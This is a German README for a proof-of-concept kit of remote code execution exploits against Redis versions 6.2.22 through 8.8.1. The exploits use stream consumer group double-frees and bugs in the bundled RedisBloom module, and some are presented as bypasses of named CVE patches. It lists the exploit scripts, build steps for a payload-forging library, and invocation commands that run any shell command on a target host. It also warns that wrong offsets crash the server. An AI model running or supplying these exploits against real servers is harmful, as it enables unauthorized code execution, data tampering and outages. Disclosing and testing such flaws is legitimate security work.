
RCE-PoC für Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Nicht-destruktive RCE-Exploits für Redis 6.2.22, 7.4.9, 8.6.4 über den Shared-NACK-Double-Free der Stream-Consumer-Gruppe (einen Patch-Bypass von CVE-2026-25243), für 8.8.0 über einen TDigest-Heap-Overflow im gebündelten RedisBloom und für 8.8.1 über einen TopK-Wild-Free (einen Patch-Bypass von CVE-2026-25589).
A_exploit_stock.py — Exploit für 6.2.22 (redis:6.2.22-Image)P74_exploit.py (+ P74_g2.py) — Exploit für 7.4.9 (redis:7.4)P86_exploit.py — Exploit für 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — Exploit für
8.8.0 (redis:8.8.0, über TDigest-Heap-Overflow im gebündelten Modul)T88_exploit.py — Exploit für 8.8.0 und 8.8.1 (über TopK-Wild-Free
im gebündelten Modul; Bypass des unvollständigen CVE-2026-25589-Fixes —
funktioniert mit RedisBloom v8.8.0 und v8.8.2)A_lib.py, G2_arbread.py — gemeinsame Helfer (müssen neben den Exploits liegen)crc64.c/h, crcspeed.c/h — Quelldateien für libcrc64.so (Redis-CRC64,
erforderlich zum Erstellen gültiger RESTORE-Payloads)calibrate.sh — berechnet Binäroffsets für nicht-offizielle BuildsP74_loop.sh, P86_run.sh — Boot-Retry-Wrappergcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Erforderlich: Python 3.6+ (keine pip-Pakete), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — weglassen (oder "" übergeben) für Ziele ohne Authentifizierungtrigger — Shell-Befehl; schreibt standardmäßig einen Nachweis unter /data/pwned*Beispiele:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off usw.; siehe --help) oder ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] ausführen, um sie zu generieren. Falsche Offsets stürzen den Zielserver ab (Out-of-Range-Reads).EVAL, RESTORE, XGROUP (8.8.0/8.8.1 benötigen zusätzlich das gebündelte RedisBloom-Modul, standardmäßig vorhanden).HARDENING.md für Details. Der 8.8.0-Exploit hinterlässt ~2000 genullte TDigest-Strukturen und einen beschädigten Oracle-Key — danach kein FLUSHALL/SAVE auf dem Ziel ausführen.TopK_Destroy liest in RedisBloom v8.8.0 und v8.8.2 weiterhin alle k-Zeiger über den zu kleinen Heap hinaus).Nur für autorisierte Tests.